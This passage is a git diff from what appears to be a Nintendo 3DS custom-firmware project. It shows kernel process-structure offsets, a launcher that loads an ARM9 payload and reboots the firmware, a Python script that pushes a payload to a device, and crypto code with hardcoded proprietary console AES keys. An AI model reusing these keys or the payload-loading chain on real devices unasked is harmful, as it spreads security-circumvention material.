|
|
||||||
KThread *m_mainThread; // +0B8
|
|
||||||
//...more...
|
|
||||||
};
|
|
||||||
static_assert(offsetof(KProcess_1_0_0_Old, m_svcAccessControl) == 0x080,
|
|
||||||
"KProcess_1_0_0_Old isn't the expected layout.");
|
|
||||||
|
|
||||||
//------------------------------------------------------------------------------------------------
|
|
||||||
// Kernel's internal structure of a process object.
|
|
||||||
// Old 3DS Version 8.0.0 - 9.5.0...
|
|
||||||
class KProcess_8_0_0_Old : public KSynchronizationObject
|
|
||||||
{
|
|
||||||
public:
|
|
||||||
u32 m_unknown014; // +014
|
|
||||||
u32 m_unknown018; // +018
|
|
||||||
KThread *volatile m_interactingThread; // +01C
|
|
||||||
u16 m_unknown020; // +020
|
|
||||||
u16 m_unknown022; // +022
|
|
||||||
u32 m_unknown024; // +024
|
|
||||||
u32 m_unknown028; // +028
|
|
||||||
u32 m_memoryBlockCount; // +02C
|
|
||||||
KLinkedListNode *m_memoryBlockFirst; // +030
|
|
||||||
KLinkedListNode *m_memoryBlockLast; // +034
|
|
||||||
u32 m_unknown038; // +038
|
|
||||||
u32 m_unknown03C; // +03C
|
|
||||||
void *m_translationTableBase; // +040
|
|
||||||
u8 m_contextID; // +044
|
|
||||||
u32 m_unknown048; // +048
|
|
||||||
void *m_userVirtualMemoryEnd; // +04C
|
|
||||||
void *m_userLinearVirtualBase; // +050
|
|
||||||
u32 m_unknown054; // +054
|
|
||||||
u32 m_mmuTableSize; // +058
|
|
||||||
void *m_mmuTableAddress; // +05C
|
|
||||||
u32 m_threadContextPagesSize; // +060
|
|
||||||
u32 m_threadLocalPageCount; // +064
|
|
||||||
KLinkedListNode *m_threadLocalPageFirst; // +068
|
|
||||||
KLinkedListNode *m_threadLocalPageLast; // +06C
|
|
||||||
u32 m_unknown070; // +070
|
|
||||||
s32 m_idealProcessor; // +074
|
|
||||||
u32 m_unknown078; // +078
|
|
||||||
void *m_resourceLimits; // +07C
|
|
||||||
u32 m_unknown080; // +080
|
|
||||||
u32 m_threadCount; // +084
|
|
||||||
u8 m_svcAccessControl[0x80 / 8]; // +088
|
|
||||||
u32 m_interruptFlags[0x80 / 32]; // +098
|
|
||||||
u32 m_kernelFlags; // +0A8
|
|
||||||
u16 m_handleTableSize; // +0AC
|
|
||||||
u16 m_kernelReleaseVersion; // +0AE
|
|
||||||
KCodeSet *m_codeSet; // +0B0
|
|
||||||
u32 m_processID; // +0B4
|
|
||||||
u32 m_unknown0B8; // +0B8
|
|
||||||
u32 m_unknown0BC; // +0BC
|
|
||||||
KThread *m_mainThread; // +0C0
|
|
||||||
//...more...
|
|
||||||
};
|
|
||||||
static_assert(offsetof(KProcess_8_0_0_Old, m_svcAccessControl) == 0x088,
|
|
||||||
"KProcess_8_0_0_Old isn't the expected layout.");
|
|
||||||
|
|
||||||
//------------------------------------------------------------------------------------------------
|
|
||||||
// Kernel's internal structure of a process object.
|
|
||||||
// New 3DS Version 8.0.0 - 9.5.0...
|
|
||||||
class KProcess_8_0_0_New : public KSynchronizationObject
|
|
||||||
{
|
|
||||||
public:
|
|
||||||
u32 m_unknown014; // +014
|
|
||||||
u32 m_unknown018; // +018
|
|
||||||
KThread *volatile m_interactingThread; // +01C
|
|
||||||
u16 m_unknown020; // +020
|
|
||||||
u16 m_unknown022; // +022
|
|
||||||
u32 m_unknown024; // +024
|
|
||||||
u32 m_unknown028; // +028
|
|
||||||
u32 m_unknown02C; // +02C new to New 3DS
|
|
||||||
u32 m_unknown030; // +030 new to New 3DS
|
|
||||||
u32 m_memoryBlockCount; // +034
|
|
||||||
KLinkedListNode *m_memoryBlockFirst; // +038
|
|
||||||
KLinkedListNode *m_memoryBlockLast; // +03C
|
|
||||||
u32 m_unknown040; // +040
|
|
||||||
u32 m_unknown044; // +044
|
|
||||||
void *m_translationTableBase; // +048
|
|
||||||
u8 m_contextID; // +04C
|
|
||||||
u32 m_unknown050; // +050
|
|
||||||
void *m_userVirtualMemoryEnd; // +054
|
|
||||||
void *m_userLinearVirtualBase; // +058
|
|
||||||
u32 m_unknown05C; // +05C
|
|
||||||
u32 m_mmuTableSize; // +060
|
|
||||||
void *m_mmuTableAddress; // +064
|
|
||||||
u32 m_threadContextPagesSize; // +068
|
|
||||||
u32 m_threadLocalPageCount; // +06C
|
|
||||||
KLinkedListNode *m_threadLocalPageFirst; // +070
|
|
||||||
KLinkedListNode *m_threadLocalPageLast; // +074
|
|
||||||
u32 m_unknown078; // +078
|
|
||||||
s32 m_idealProcessor; // +07C
|
|
||||||
u32 m_unknown080; // +080
|
|
||||||
void *m_resourceLimits; // +084
|
|
||||||
u32 m_unknown088; // +088
|
|
||||||
u32 m_threadCount; // +08C
|
|
||||||
u8 m_svcAccessControl[0x80 / 8]; // +090
|
|
||||||
u32 m_interruptFlags[0x80 / 32]; // +0A0
|
|
||||||
u32 m_kernelFlags; // +0B0
|
|
||||||
u16 m_handleTableSize; // +0B4
|
|
||||||
u16 m_kernelReleaseVersion; // +0B6
|
|
||||||
KCodeSet *m_codeSet; // +0B8
|
|
||||||
u32 m_processID; // +0BC
|
|
||||||
u32 m_unknown0C0; // +0C0
|
|
||||||
u32 m_unknown0C4; // +0C4
|
|
||||||
KThread *m_mainThread; // +0C8
|
|
||||||
//...more...
|
|
||||||
};
|
|
||||||
static_assert(offsetof(KProcess_8_0_0_New, m_svcAccessControl) == 0x090,
|
|
||||||
"KProcess_8_0_0_New isn't the expected layout.");
|
|
||||||
|
|
||||||
//------------------------------------------------------------------------------------------------
|
|
||||||
// Done using illegal offsetof
|
|
||||||
#pragma GCC diagnostic pop
|
|
||||||
}
|
|
@ -1,30 +0,0 @@
|
|||||||
#include <3ds.h>
|
|
||||||
#include <stdio.h>
|
|
||||||
#include <stdlib.h>
|
|
||||||
#include "brahma.h"
|
|
||||||
#include "hid.h"
|
|
||||||
|
|
||||||
#ifndef LAUNCHER_PATH
|
|
||||||
#define LAUNCHER_PATH "Cakes.dat"
|
|
||||||
#endif
|
|
||||||
|
|
||||||
int main (void) {
|
|
||||||
if (brahma_init()) {
|
|
||||||
if (load_arm9_payload_offset("/" LAUNCHER_PATH, 0x12000, 0x10000) != 1)
|
|
||||||
goto error;
|
|
||||||
firm_reboot();
|
|
||||||
brahma_exit();
|
|
||||||
}
|
|
||||||
|
|
||||||
// Return to hbmenu
|
|
||||||
return 0;
|
|
||||||
|
|
||||||
error:
|
|
||||||
gfxInitDefault();
|
|
||||||
consoleInit(GFX_BOTTOM, NULL);
|
|
||||||
printf("An error occurred while loading the payload.\nMake sure your launcher is located at:\n/" LAUNCHER_PATH);
|
|
||||||
wait_any_key();
|
|
||||||
|
|
||||||
gfxExit();
|
|
||||||
return 1;
|
|
||||||
}
|
|
@ -1,38 +0,0 @@
|
|||||||
.arm
|
|
||||||
.align 4
|
|
||||||
.code 32
|
|
||||||
.text
|
|
||||||
|
|
||||||
.global InvalidateEntireInstructionCache
|
|
||||||
.type InvalidateEntireInstructionCache, %function
|
|
||||||
InvalidateEntireInstructionCache:
|
|
||||||
mov r0, #0
|
|
||||||
mcr p15, 0, r0, c7, c5, 0
|
|
||||||
bx lr
|
|
||||||
|
|
||||||
.global CleanEntireDataCache
|
|
||||||
.type CleanEntireDataCache, %function
|
|
||||||
CleanEntireDataCache:
|
|
||||||
mov r0, #0
|
|
||||||
mcr p15, 0, r0, c7, c10, 0
|
|
||||||
bx lr
|
|
||||||
|
|
||||||
.global dsb
|
|
||||||
.type dsb, %function
|
|
||||||
dsb:
|
|
||||||
mov r0, #0
|
|
||||||
mcr p15, 0, r0, c7, c10, 4
|
|
||||||
bx lr
|
|
||||||
|
|
||||||
.global DisableInterrupts
|
|
||||||
.type DisableInterrupts, %function
|
|
||||||
DisableInterrupts:
|
|
||||||
mrs r0, cpsr
|
|
||||||
CPSID I
|
|
||||||
bx lr
|
|
||||||
|
|
||||||
.global EnableInterrupts
|
|
||||||
.type EnableInterrupts, %function
|
|
||||||
EnableInterrupts:
|
|
||||||
msr cpsr_cx, r0
|
|
||||||
bx lr
|
|
@ -1,22 +0,0 @@
|
|||||||
#!/usr/bin/python
|
|
||||||
|
|
||||||
import socket
|
|
||||||
import sys
|
|
||||||
|
|
||||||
if len(sys.argv) < 3:
|
|
||||||
print "python client.py <ip> <file>\n"
|
|
||||||
sys.exit(0)
|
|
||||||
|
|
||||||
port = 80
|
|
||||||
host = sys.argv[1]
|
|
||||||
pfile = sys.argv[2]
|
|
||||||
|
|
||||||
f = open(pfile, "rb")
|
|
||||||
buf = f.read()
|
|
||||||
f.close()
|
|
||||||
|
|
||||||
s = socket.socket()
|
|
||||||
s.connect((host, port))
|
|
||||||
sent = s.send(buf)
|
|
||||||
print "Sent %d bytes\n" % sent
|
|
||||||
s.close()
|
|
111
source/crypto.c
111
source/crypto.c
@ -357,113 +357,42 @@ int rsa_verify(const void* data, u32 size, const void* sig, u32 mode)
|
|||||||
* Nand/FIRM Crypto stuff
|
* Nand/FIRM Crypto stuff
|
||||||
****************************************************************/
|
****************************************************************/
|
||||||
|
|
||||||
//Get Nand CTR key
|
|
||||||
void getNandCTR(u8 *buf) {
|
|
||||||
u8 *addr = (u8*)0x080D8BBC;
|
|
||||||
u8 keyLen = 0x10; //CTR length
|
|
||||||
addr += 0x0F;
|
|
||||||
while (keyLen --) { *(buf++) = *(addr--); }
|
|
||||||
}
|
|
||||||
|
|
||||||
//Read firm0 from NAND and write to buffer
|
|
||||||
void nandFirm0(u8 *outbuf, const u32 size){
|
|
||||||
u8 CTR[0x10];
|
|
||||||
getNandCTR(CTR);
|
|
||||||
aes_advctr(CTR, 0x0B130000/0x10, AES_INPUT_BE | AES_INPUT_NORMAL);
|
|
||||||
sdmmc_nand_readsectors(0x0B130000 / 0x200, size / 0x200, outbuf);
|
|
||||||
aes_use_keyslot(0x06);
|
|
||||||
aes(outbuf, outbuf, size / AES_BLOCK_SIZE, CTR, AES_CTR_MODE, AES_INPUT_BE | AES_INPUT_NORMAL);
|
|
||||||
}
|
|
||||||
|
|
||||||
//Emulates the Arm9loader process
|
//Emulates the Arm9loader process
|
||||||
//9.5.0 = 0x0F
|
void arm9loader(void *armHdr){
|
||||||
//9.6.0 = 0x18
|
|
||||||
void arm9loader(void *armHdr, u32 kversion){
|
|
||||||
//Set Nand key#2 here (decrypted from 0x12C10)
|
//Set Nand key#2 here (decrypted from 0x12C10)
|
||||||
u8 key2[0x10] = {0x42, 0x3F, 0x81, 0x7A, 0x23, 0x52, 0x58, 0x31, 0x6E, 0x75, 0x8E, 0x3A, 0x39, 0x43, 0x2E, 0xD0};
|
u8 key2[0x10] = {0x42, 0x3F, 0x81, 0x7A, 0x23, 0x52, 0x58, 0x31, 0x6E, 0x75, 0x8E, 0x3A, 0x39, 0x43, 0x2E, 0xD0};
|
||||||
|
|
||||||
u8 keyX[0x10];
|
u8 keyX[0x10];
|
||||||
u8 keyY[0x10];
|
u8 keyY[0x10];
|
||||||
u8 CTR[0x10];
|
u8 CTR[0x10];
|
||||||
u32 slot = (kversion >= 0x0F ? 0x16 : 0x15);
|
u32 slot = 0x16;
|
||||||
|
|
||||||
//Setupkeys needed for arm9bin decryption
|
//Setupkeys needed for arm9bin decryption
|
||||||
memcpy(keyY, armHdr+0x10, 0x10);
|
memcpy((u8*)keyY, (void *)((uintptr_t)armHdr+0x10), 0x10);
|
||||||
memcpy(CTR, armHdr+0x20, 0x10);
|
memcpy((u8*)CTR, (void *)((uintptr_t)armHdr+0x20), 0x10);
|
||||||
u32 size = atoi(armHdr+0x30);
|
u32 size = atoi((void *)((uintptr_t)armHdr+0x30));
|
||||||
|
|
||||||
if(kversion >= 0x0F){
|
//Set 0x11 to key2 for the arm9bin and misc keys
|
||||||
if(kversion >= 0x18) aes_setkey(0x11, key2, AES_KEYNORMAL, AES_INPUT_BE | AES_INPUT_NORMAL);
|
aes_setkey(0x11, (u8*)key2, AES_KEYNORMAL, AES_INPUT_BE | AES_INPUT_NORMAL);
|
||||||
aes_use_keyslot(0x11);
|
aes_use_keyslot(0x11);
|
||||||
aes(keyX, armHdr+0x60, 1, NULL, AES_ECB_DECRYPT_MODE, 0);
|
|
||||||
aes_setkey(slot, keyX, AES_KEYX, AES_INPUT_BE | AES_INPUT_NORMAL);
|
|
||||||
}
|
|
||||||
|
|
||||||
aes_setkey(slot, keyY, AES_KEYY, AES_INPUT_BE | AES_INPUT_NORMAL);
|
//Set 0x16 keyX, keyY and CTR
|
||||||
aes_setiv(CTR, AES_INPUT_BE | AES_INPUT_NORMAL);
|
aes((u8*)keyX, (void *)((uintptr_t)armHdr+0x60), 1, NULL, AES_ECB_DECRYPT_MODE, 0);
|
||||||
|
aes_setkey(slot, (u8*)keyX, AES_KEYX, AES_INPUT_BE | AES_INPUT_NORMAL);
|
||||||
|
aes_setkey(slot, (u8*)keyY, AES_KEYY, AES_INPUT_BE | AES_INPUT_NORMAL);
|
||||||
|
aes_setiv((u8*)CTR, AES_INPUT_BE | AES_INPUT_NORMAL);
|
||||||
aes_use_keyslot(slot);
|
aes_use_keyslot(slot);
|
||||||
|
|
||||||
aes(armHdr+0x800, armHdr+0x800, size/AES_BLOCK_SIZE, CTR, AES_CTR_MODE, AES_INPUT_BE | AES_INPUT_NORMAL);
|
//Decrypt arm9bin
|
||||||
}
|
aes((void *)(armHdr+0x800), (void *)(armHdr+0x800), size/AES_BLOCK_SIZE, CTR, AES_CTR_MODE, AES_INPUT_BE | AES_INPUT_NORMAL);
|
||||||
|
|
||||||
void setKeys(kversion){
|
|
||||||
u8 key2[0x10] = {0x42, 0x3F, 0x81, 0x7A, 0x23, 0x52, 0x58, 0x31, 0x6E, 0x75, 0x8E, 0x3A, 0x39, 0x43, 0x2E, 0xD0};
|
|
||||||
//Initialze keys
|
|
||||||
if(kversion >= 0x18){
|
|
||||||
|
|
||||||
u8 keyX18[16] = {0x82, 0xE9, 0xC9, 0xBE, 0xBF, 0xB8, 0xBD, 0xB8, 0x75, 0xEC, 0xC0, 0xA0, 0x7D, 0x47, 0x43, 0x74};
|
|
||||||
u8 keyX19[16] = {0xF5, 0x36, 0x7F, 0xCE, 0x73, 0x14, 0x2E, 0x66, 0xED, 0x13, 0x91, 0x79, 0x14, 0xB7, 0xF2, 0xEF};
|
|
||||||
u8 keyX1A[16] = {0xEA, 0xBA, 0x98, 0x4C, 0x9C, 0xB7, 0x66, 0xD4, 0xA3, 0xA7, 0xE9, 0x74, 0xE2, 0xE7, 0x13, 0xA3};
|
|
||||||
u8 keyX1B[16] = {0x45, 0xAD, 0x04, 0x95, 0x39, 0x92, 0xC7, 0xC8, 0x93, 0x72, 0x4A, 0x9A, 0x7B, 0xCE, 0x61, 0x82};
|
|
||||||
u8 keyX1C[16] = {0xC3, 0x83, 0x0F, 0x81, 0x56, 0xE3, 0x54, 0x3B, 0x72, 0x3F, 0x0B, 0xC0, 0x46, 0x74, 0x1E, 0x8F};
|
|
||||||
u8 keyX1D[16] = {0xD6, 0xB3, 0x8B, 0xC7, 0x59, 0x41, 0x75, 0x96, 0xD6, 0x19, 0xD6, 0x02, 0x9D, 0x13, 0xE0, 0xD8};
|
|
||||||
u8 keyX1E[16] = {0xBB, 0x62, 0x3A, 0x97, 0xDD, 0xD7, 0x93, 0xD7, 0x57, 0xC4, 0x10, 0x4B, 0x8D, 0x9F, 0xB9, 0x69};
|
|
||||||
u8 keyX1F[16] = {0x4C, 0x28, 0xEC, 0x6E, 0xFF, 0xA3, 0xC2, 0x36, 0x46, 0x07, 0x8B, 0xBA, 0x35, 0x0C, 0x79, 0x95};
|
|
||||||
aes_setkey(0x18, keyX18, AES_KEYX, AES_INPUT_BE | AES_INPUT_NORMAL);
|
|
||||||
aes_setkey(0x19, keyX19, AES_KEYX, AES_INPUT_BE | AES_INPUT_NORMAL);
|
|
||||||
aes_setkey(0x1A, keyX19, AES_KEYX, AES_INPUT_BE | AES_INPUT_NORMAL);
|
|
||||||
aes_setkey(0x1B, keyX1B, AES_KEYX, AES_INPUT_BE | AES_INPUT_NORMAL);
|
|
||||||
aes_setkey(0x1C, keyX1C, AES_KEYX, AES_INPUT_BE | AES_INPUT_NORMAL);
|
|
||||||
aes_setkey(0x1D, keyX1D, AES_KEYX, AES_INPUT_BE | AES_INPUT_NORMAL);
|
|
||||||
aes_setkey(0x1E, keyX1E, AES_KEYX, AES_INPUT_BE | AES_INPUT_NORMAL);
|
|
||||||
aes_setkey(0x1F, keyX1F, AES_KEYX, AES_INPUT_BE | AES_INPUT_NORMAL);
|
|
||||||
|
|
||||||
/*
|
|
||||||
//data at armHdr+0x8A804 (its not in FCRAM for whatever reason)
|
|
||||||
u8 encryptedData1[0x10] = {
|
|
||||||
0xA4, 0x8D, 0xE4, 0xF1, 0x0B, 0x36, 0x44, 0xAA, 0x90, 0x31, 0x28, 0xFF,
|
|
||||||
0x4D, 0xCA, 0x76, 0xDF
|
|
||||||
};
|
|
||||||
//data at armHdr+0x8A814 (its not in FCRAM for whatever reason)
|
|
||||||
u8 encryptedData2[0x10] = {
|
|
||||||
0xDD, 0xDA, 0xA4, 0xC6, 0x2C, 0xC4, 0x50, 0xE9, 0xDA, 0xB6, 0x9B, 0x0D,
|
|
||||||
0x9D, 0x2A, 0x21, 0x98
|
|
||||||
};
|
|
||||||
|
|
||||||
//Set key 0x18 keyX
|
|
||||||
u8 keyX18[0x10];
|
|
||||||
aes(keyX18, encryptedData1, 1, NULL, AES_ECB_DECRYPT_MODE, 0);
|
|
||||||
aes_setkey(0x18, keyX18, AES_KEYX, AES_INPUT_BE | AES_INPUT_NORMAL);
|
|
||||||
|
|
||||||
//Set key 0x11 normalkey
|
|
||||||
aes_setkey(0x11, key2, AES_KEYNORMAL, AES_INPUT_BE | AES_INPUT_NORMAL);
|
|
||||||
aes_use_keyslot(0x11);
|
|
||||||
|
|
||||||
//Set keys 0x19..0x1F keyXs
|
//Set keys 0x19..0x1F keyXs
|
||||||
u8 keyTemp[0x10];
|
u8* decKey = (void *)((uintptr_t)armHdr+0x8A824);
|
||||||
u8 keys[7][0x10];
|
|
||||||
aes_use_keyslot(0x11);
|
aes_use_keyslot(0x11);
|
||||||
int i; for(i = 0; i < 7; i++) {
|
for(slot = 0x19; slot < 0x20; slot++) {
|
||||||
aes(keyTemp, encryptedData2, 1, NULL, AES_ECB_DECRYPT_MODE, 0);
|
aes_setkey(0x11, (u8*)key2, AES_KEYNORMAL, AES_INPUT_BE | AES_INPUT_NORMAL);
|
||||||
encryptedData2[0x0F]++;
|
aes(decKey, (void *)((uintptr_t)armHdr+0x8A814), 1, NULL, AES_ECB_DECRYPT_MODE, 0);
|
||||||
memcpy(keys[i], keyTemp, 0x10);
|
aes_setkey(slot, (u8*)decKey, AES_KEYX, AES_INPUT_BE | AES_INPUT_NORMAL);
|
||||||
}
|
*(u8 *)((void *)((uintptr_t)armHdr+0x8A814+0xF)) += 1;
|
||||||
aes_setkey(0x19, keys[0], AES_KEYX, AES_INPUT_BE | AES_INPUT_NORMAL);
|
|
||||||
aes_setkey(0x1A, keys[1], AES_KEYX, AES_INPUT_BE | AES_INPUT_NORMAL);
|
|
||||||
aes_setkey(0x1B, keys[2], AES_KEYX, AES_INPUT_BE | AES_INPUT_NORMAL);
|
|
||||||
aes_setkey(0x1C, keys[3], AES_KEYX, AES_INPUT_BE | AES_INPUT_NORMAL);
|
|
||||||
aes_setkey(0x1D, keys[4], AES_KEYX, AES_INPUT_BE | AES_INPUT_NORMAL);
|
|
||||||
aes_setkey(0x1E, keys[5], AES_KEYX, AES_INPUT_BE | AES_INPUT_NORMAL);
|
|
||||||
aes_setkey(0x1F, keys[6], AES_KEYX, AES_INPUT_BE | AES_INPUT_NORMAL);*/
|
|
||||||
}
|
}
|
||||||
}
|
}
|
@ -131,9 +131,6 @@ void rsa_use_keyslot(u32 keyslot);
|
|||||||
int rsa_verify(const void* data, u32 size, const void* sig, u32 mode);
|
int rsa_verify(const void* data, u32 size, const void* sig, u32 mode);
|
||||||
|
|
||||||
//NAND/FIRM stuff
|
//NAND/FIRM stuff
|
||||||
void getNandCTR(u8 *buf);
|
void arm9loader(void *armHdr);
|
||||||
void nandFirm0(u8 *outbuf, const u32 size);
|
|
||||||
void arm9loader(void *armHdr, u32 kversion);
|
|
||||||
void setKeys(kversion);
|
|
||||||
|
|
||||||
#endif /*__CRYPTO_H*/
|
#endif /*__CRYPTO_H*/
|
||||||
|
@ -17,4 +17,5 @@ void clearScreen(void){
|
|||||||
void loadSplash(void){
|
void loadSplash(void){
|
||||||
clearScreen();
|
clearScreen();
|
||||||
fileRead(fb->top_left, "/rei/splash.bin", 0x46500);
|
fileRead(fb->top_left, "/rei/splash.bin", 0x46500);
|
||||||
|
unsigned i,t; for(t=120;t>0;t--){for(i=0xFFFF;i>0;i--);}; //Ghetto sleep func
|
||||||
}
|
}
|
@ -83,6 +83,7 @@ DRESULT disk_write (
|
|||||||
#endif
|
#endif
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
/*-----------------------------------------------------------------------*/
|
/*-----------------------------------------------------------------------*/
|
||||||
/* Miscellaneous Functions */
|
/* Miscellaneous Functions */
|
||||||
/*-----------------------------------------------------------------------*/
|
/*-----------------------------------------------------------------------*/
|
||||||
|
@ -23,7 +23,7 @@
|
|||||||
/ and optional writing functions as well. */
|
/ and optional writing functions as well. */
|
||||||
|
|
||||||
|
|
||||||
#define _FS_MINIMIZE 1
|
#define _FS_MINIMIZE 0
|
||||||
/* This option defines minimization level to remove some basic API functions.
|
/* This option defines minimization level to remove some basic API functions.
|
||||||
/
|
/
|
||||||
/ 0: All basic functions are enabled.
|
/ 0: All basic functions are enabled.
|
||||||
|
@ -1,17 +1,15 @@
|
|||||||
// Copyright 2014 Normmatt
|
|
||||||
// Licensed under GPLv2 or any later version
|
|
||||||
// Refer to the license.txt file included.
|
|
||||||
|
|
||||||
.arm
|
.arm
|
||||||
.global ioDelay
|
.global waitcycles
|
||||||
.type ioDelay STT_FUNC
|
.type waitcycles STT_FUNC
|
||||||
|
|
||||||
@ioDelay ( u32 us )
|
@waitcycles ( u32 us )
|
||||||
ioDelay:
|
waitcycles:
|
||||||
ldr r1, =0x18000000 @ VRAM
|
PUSH {R0-R2,LR}
|
||||||
1:
|
STR R0, [SP,#4]
|
||||||
@ Loop doing uncached reads from VRAM to make loop timing more reliable
|
waitcycles_loop:
|
||||||
ldr r2, [r1]
|
LDR R3, [SP,#4]
|
||||||
subs r0, #1
|
SUBS R2, R3, #1
|
||||||
bgt 1b
|
STR R2, [SP,#4]
|
||||||
bx lr
|
CMP R3, #0
|
||||||
|
BNE waitcycles_loop
|
||||||
|
POP {R0-R2,PC}
|
||||||
|
@ -1,142 +1,240 @@
|
|||||||
// Copyright 2014 Normmatt
|
/*
|
||||||
// Licensed under GPLv2 or any later version
|
* This Source Code Form is subject to the terms of the Mozilla Public
|
||||||
// Refer to the license.txt file included.
|
* License, v. 2.0. If a copy of the MPL was not distributed with this file,
|
||||||
|
* You can obtain one at http://mozilla.org/MPL/2.0/.
|
||||||
|
*
|
||||||
|
* Copyright (c) 2014, Normmatt
|
||||||
|
*
|
||||||
|
* Alternatively, the contents of this file may be used under the terms
|
||||||
|
* of the GNU General Public License Version 2, as described below:
|
||||||
|
*
|
||||||
|
* This file is free software: you may copy, redistribute and/or modify
|
||||||
|
* it under the terms of the GNU General Public License as published by the
|
||||||
|
* Free Software Foundation, either version 2 of the License, or (at your
|
||||||
|
* option) any later version.
|
||||||
|
*
|
||||||
|
* This file is distributed in the hope that it will be useful, but
|
||||||
|
* WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General
|
||||||
|
* Public License for more details.
|
||||||
|
*
|
||||||
|
* You should have received a copy of the GNU General Public License
|
||||||
|
* along with this program. If not, see http://www.gnu.org/licenses/.
|
||||||
|
*/
|
||||||
|
|
||||||
#include "common.h"
|
#include <stdint.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <inttypes.h>
|
||||||
|
#include <malloc.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <dirent.h>
|
||||||
|
#include <errno.h>
|
||||||
|
|
||||||
#include "sdmmc.h"
|
#include "sdmmc.h"
|
||||||
#include "delay.h"
|
//#include "DrawCharacter.h"
|
||||||
|
|
||||||
//Uncomment to enable 32bit fifo support?
|
//Uncomment to enable 32bit fifo support?
|
||||||
//not currently working
|
//not currently working
|
||||||
//#define DATA32_SUPPORT
|
#define DATA32_SUPPORT
|
||||||
|
|
||||||
static struct mmcdevice handleNAND;
|
#define TRUE 1
|
||||||
static struct mmcdevice handleSD;
|
#define FALSE 0
|
||||||
|
|
||||||
|
#define bool int
|
||||||
|
|
||||||
|
#define NO_INLINE __attribute__ ((noinline))
|
||||||
|
|
||||||
|
#define RGB(r,g,b) (r<<24|b<<16|g<<8|r)
|
||||||
|
|
||||||
|
#ifdef __cplusplus
|
||||||
|
extern "C" {
|
||||||
|
#endif
|
||||||
|
void waitcycles(uint32_t val);
|
||||||
|
#ifdef __cplusplus
|
||||||
|
};
|
||||||
|
#endif
|
||||||
|
|
||||||
|
//#define DEBUG_SDMMC
|
||||||
|
|
||||||
|
#ifdef DEBUG_SDMMC
|
||||||
|
extern uint8_t* topScreen;
|
||||||
|
extern void DrawHexWithName(unsigned char *screen, const char *str, unsigned int hex, int x, int y, int color, int bgcolor);
|
||||||
|
#define DEBUGPRINT(scr,str,hex,x,y,color,bg) DrawHexWithName(scr,str,hex,x,y,color,bg)
|
||||||
|
#else
|
||||||
|
#define DEBUGPRINT(...)
|
||||||
|
#endif
|
||||||
|
|
||||||
|
//extern "C" void sdmmc_send_command(struct mmcdevice *ctx, uint32_t cmd, uint32_t args);
|
||||||
|
//extern "C" void inittarget(struct mmcdevice *ctx);
|
||||||
|
//extern "C" int SD_Init();
|
||||||
|
//extern "C" int SD_Init2();
|
||||||
|
//extern "C" int Nand_Init2();
|
||||||
|
//extern "C" void InitSD();
|
||||||
|
|
||||||
|
struct mmcdevice handelNAND;
|
||||||
|
struct mmcdevice handelSD;
|
||||||
|
|
||||||
mmcdevice *getMMCDevice(int drive)
|
mmcdevice *getMMCDevice(int drive)
|
||||||
{
|
{
|
||||||
if(drive==0) return &handleNAND;
|
if(drive==0) return &handelNAND;
|
||||||
return &handleSD;
|
return &handelSD;
|
||||||
}
|
}
|
||||||
|
|
||||||
int __attribute__((noinline)) geterror(struct mmcdevice *ctx)
|
int geterror(struct mmcdevice *ctx)
|
||||||
{
|
{
|
||||||
//if(ctx->error == 0x4) return -1;
|
|
||||||
//else return 0;
|
|
||||||
return (ctx->error << 29) >> 31;
|
return (ctx->error << 29) >> 31;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
void __attribute__((noinline)) inittarget(struct mmcdevice *ctx)
|
void inittarget(struct mmcdevice *ctx)
|
||||||
{
|
{
|
||||||
sdmmc_mask16(REG_SDPORTSEL,0x3,(u16)ctx->devicenumber);
|
sdmmc_mask16(REG_SDPORTSEL,0x3,(uint16_t)ctx->devicenumber);
|
||||||
setckl(ctx->clk);
|
setckl(ctx->clk);
|
||||||
if (ctx->SDOPT == 0) {
|
if(ctx->SDOPT == 0)
|
||||||
sdmmc_mask16(REG_SDOPT, 0, 0x8000);
|
{
|
||||||
} else {
|
sdmmc_mask16(REG_SDOPT,0,0x8000);
|
||||||
sdmmc_mask16(REG_SDOPT, 0x8000, 0);
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
sdmmc_mask16(REG_SDOPT,0x8000,0);
|
||||||
}
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
void __attribute__((noinline)) sdmmc_send_command(struct mmcdevice *ctx, u32 cmd, u32 args)
|
void NO_INLINE sdmmc_send_command(struct mmcdevice *ctx, uint32_t cmd, uint32_t args)
|
||||||
{
|
{
|
||||||
bool getSDRESP = (cmd << 15) >> 31;
|
bool getSDRESP = (cmd << 15) >> 31;
|
||||||
u16 flags = (cmd << 15) >> 31;
|
uint16_t flags = (cmd << 15) >> 31;
|
||||||
const bool readdata = cmd & 0x20000;
|
const bool readdata = cmd & 0x20000;
|
||||||
const bool writedata = cmd & 0x40000;
|
const bool writedata = cmd & 0x40000;
|
||||||
|
|
||||||
if (readdata || writedata)
|
if(readdata || writedata)
|
||||||
|
{
|
||||||
flags |= TMIO_STAT0_DATAEND;
|
flags |= TMIO_STAT0_DATAEND;
|
||||||
|
}
|
||||||
|
|
||||||
ctx->error = 0;
|
ctx->error = 0;
|
||||||
while (sdmmc_read16(REG_SDSTATUS1) & TMIO_STAT1_CMD_BUSY); //mmc working?
|
while((sdmmc_read16(REG_SDSTATUS1) & TMIO_STAT1_CMD_BUSY)); //mmc working?
|
||||||
sdmmc_write16(REG_SDIRMASK0,0);
|
sdmmc_write16(REG_SDIRMASK0,0);
|
||||||
sdmmc_write16(REG_SDIRMASK1,0);
|
sdmmc_write16(REG_SDIRMASK1,0);
|
||||||
sdmmc_write16(REG_SDSTATUS0,0);
|
sdmmc_write16(REG_SDSTATUS0,0);
|
||||||
sdmmc_write16(REG_SDSTATUS1,0);
|
sdmmc_write16(REG_SDSTATUS1,0);
|
||||||
|
|
||||||
#ifdef DATA32_SUPPORT
|
#ifdef DATA32_SUPPORT
|
||||||
if (readdata)
|
// if(readdata)sdmmc_mask16(REG_DATACTL32, 0x1000, 0x800);
|
||||||
sdmmc_mask16(REG_SDDATACTL32, 0x1000, 0x800);
|
// if(writedata)sdmmc_mask16(REG_DATACTL32, 0x800, 0x1000);
|
||||||
if (writedata)
|
